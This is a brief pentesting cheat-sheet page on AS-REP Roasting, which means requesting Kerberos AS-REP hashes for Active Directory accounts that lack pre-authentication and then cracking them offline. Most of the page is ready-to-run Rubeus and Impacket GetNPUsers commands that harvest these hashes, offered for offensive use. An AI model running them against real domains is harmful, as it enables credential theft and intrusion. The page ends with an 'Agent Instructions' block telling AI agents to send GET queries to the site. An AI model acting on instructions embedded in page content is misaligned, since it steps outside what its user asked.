# AS-REP Roasting

If a user does not require Kerberos pre-authentication, an attacker can request an AS-REP  for the user and crack the retrieved hash offline.

### AS-REP Roasting with Rubeus

```bash
# AS-REP Roast all users (burn your opsec):
.\Rubeus.exe asreproast /nowrap

# AS-REP Roast a specific user:
.\Rubeus.exe asreproast /user:$serviceaccount /nowrap
```

### AS-REP Roasting with Impacket

```bash
# AS-REP Roast with Impacket
python3 GetNPUsers.py $domain -dc-ip $dcip -usersfile $userfile
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/infrastructure/active-directory/kerberos/as-rep-roasting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.